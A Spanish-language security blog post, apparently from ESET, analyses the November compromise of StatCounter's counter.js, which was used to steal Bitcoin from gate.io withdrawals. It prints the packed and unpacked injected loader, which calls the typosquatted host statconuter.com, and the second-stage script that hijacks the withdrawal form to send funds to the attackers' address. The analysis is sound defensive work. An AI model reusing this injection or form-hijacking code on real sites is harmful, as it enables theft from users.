[Actualizado el día 7 de noviembre] El pasado 6 de noviembre, StatCounter eliminó el script malicioso. Varias horas después, Gate.io dejó de utilizar el servicio de análisis StatCounter para prevenir futuras infecciones. Así, el incidente está ahora resuelto y ambos sitios pueden ser navegados de manera segura.

El pasado 3 de noviembre, atacantes vulneraron la seguridad de StatCounter, una conocida plataforma de análisis web. Este servicio es utilizado por muchos webmaster para extraer datos estadísticos sobre las visitas que recibe un sitio; similar al que ofrece Google Analytics. Para hacer uso de la herramienta, los webmaster suelen añadir un tag JavaScript externo mediante el cual incorporan un segmento de código de StatCounter -www.statcounter[.]com/counter/counter.js- en cada página web.

Según el sitio oficial, StatCounter es utilizado por más de dos millones de sitios y computa estadísticas de más de 10 mil millones de páginas vistas por mes. Esta información está alineada con su posición en el ranking Alexa, en el que se ubica por encima del 5.000. Como referencia, el sitio oficial de la distribución Debian de Linux, debían.org, tiene un posición similar en el ranking Alexa.

1 wm

Los atacantes modificaron el script www.statcounter[.]com/counter/counter.js al agregarle una porción de código malicioso, que tal como se puede apreciar más abajo, está ubicado en el medio del script. Esto es inusual, ya que los atacantes generalmente añaden código malicioso al principio o al final de un archivo legítimo. La inyección de código en el medio de un script existente es generalmente difícil de detectar por medio de la observación casual.

eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));

El script está empaquetado con el empaquetador Java Script Dean Edwards; probablemente el más popular para JavaScript. Sin embargo, puede ser desempaquetado de manera sencilla, dando como resultado el código script que se ejecutará, como se puede apreciar más abajo.

myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
	var ga = document.createElement('script');
	ga.src = 'https://www.statconuter.com/c.php';
	ga.setAttribute('async', 'true');
	document.documentElement.firstChild.appendChild(ga);
}

Esta porción de código primero revisará si la URL contiene myaccount/withdraw/BTC. De esta manera, podemos adivinar que el objetivo de los atacantes es dirigirse a una plataforma de Bitcoin. Si pasa la revisión, el script continua y añade un nuevo script en la página web e incorpora el código en https://www.statconuter[.]com/c.php.

Nótese que los atacantes registraron un dominio muy similar al sitio legítimo StatCounter[.]com. Tan solo cambiaron el orden de dos letras, las cuales son difíciles de notar al momento de revisar los logs por cualquier actividad inusual. Resulta interesante que, al revisar el DNS pasivo del dominio, notamos que este dominio ya fue suspendido en 2010 por uso abusivo.

Como se explica más arriba, el script se dirige a un Identificador de Recursos Uniforme (URI, por sus siglas en inglés) específico: myaccount/withdraw/BTC. Resulta que entre los distintos exchange de criptomonedas disponibles al momento de escribir este texto, solo gate.io cuenta con una página válida con este URI. Por lo tanto, este exchange parece ser el principal objetivo de este ataque. Cabe destacar que dicho exchange es muy popular, y que está rankeado en Alexa en la posición 26.251 y en la 8.308 en China.

Además, de acuerdo a coinmarketcap.com, varios millones de dolares, incluyendo 1.6 millones de dólares tan solo en transacciones de Bitcoin, pasan por esta plataforma cada día. Con lo cual, podría resultar muy redituable para los atacantes robar criptomonedas a gran escala en esta plataforma.

El sitio web https://www.gate[.]io/myaccount/withdraw/BTC, presentado más abajo, es utilizao para transferir bitcoin desde la cuenta de gate.io hacia una dirección de Bitcoin externa.

Quizás no sea sorprendente, pero resulta que el payload de segunda fase, desde statconuter[.]com/c.php,  está diseñado para robar Bitcoins. Con lo cual, tiene sentido la inyección del script en la página web del sitio para transferir bitcoins: gate.io. Este script también está empaquetado con Dean Edwards. A continuación, mostramos la versión desempaquetada.

document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
	var a = document.getElementById('withdraw_form');
	if ($('#amount').val() > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		a.submit();
	} else if (document.getElementById('canUse').innerText > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		document.forms[0]['amount']['name'] = '';
		var t = $("<input type='hidden' name='amount'/>");
		t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
		b.append(t);
		a.submit();
	} else {
		doSubmit1();
	}
};

En la página genuina de gate.io, existe actualmente una función doSubmit, la cual es llamada cuando el usuario hace clic en el botón enviar, pero aquí los atacantes lo redefinieron.

El script automáticamente reemplaza la dirección de Bitcoin de destino con una dirección perteneciente a los atacantes, por ejemplo, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. El servidor malicioso genera una nueva dirección de Bitcoin cada vez que un visitante carga el script statconuter[.]com/c.php script. De esta manera, es difícil detectar qué cantidad de bitcoins fueron transferidos hacia los atacantes.

Dependiendo de si la víctima ingresa un monto superior a los 10 BTC o no, se utilizará el script de los atacantes o se utilizará el límite diario de retiro que tiene la cuenta de la víctima. En nuestra prueba, el límite de retiro está configurado por defecto hasta 100 BTC. Finalmente, el script malicioso envía el formulario, el cual ejecuta la transferencia desde la cuenta de la víctima hasta la billetera del atacante.

Esta redirección probablemente pase desapercibida para la víctima, desde que el reemplazo es realizado luego de que hacen clic en el botón enviar. Con lo cual, sucede de manera muy rápida y probablemente ni siquiera sea desplegado.

A medida que se crea una nueva dirección de Bitcoin cada vez que el script malicioso es enviado a la víctima, no tenemos la posibilidad de ver cuántos bitcoins han logrado obtener los atacantes. Por el momento, si revisamos las direcciones que recibimos en nuestra máquina de prueba el balance es 0 BTC.

Conclusión

Incluso por más que no sepamos cuántos bitcoins han sido robados durante este ataque, muestra cuán lejos pueden llegar los atacantes para atacar un sitio web específico, particularmente un Exchange de criptomonedas. Para lograr esto comprometieron el sitio web de un servicio de análisis, el cual es utilizado por más de dos millones de sitios, incluyendo varios sitios vinculados a entidades gubernamentales, para robar bitcoins de clientes de una sola web para el exchange de criptomonedas.

También muestra que incluso si tu sitio web está actualizado y bien protegido, sigue siendo vulnerable al enlace más débil, que en este caso era una fuente externa. Este es otro recordatorio de que códigos  Java Script externos están bajo el control de terceras partes y que pueden ser modificados en cualquier momento sin que nos notifiquen.

Por nuestra parte notificamos tanto a StatCounter como a gate.io apenas descubrimos esta actividad maliciosa.

Por cualquier consulta o para enviar muestras relacionadas con el tema, contáctenos a través de la siguiente dirección de correo: threatintel@eset.com.

Indicadores de Compromiso

URLs maliciosas

  • statcounter[.]com/counter/counter.js
  • statconuter[.]com/c.php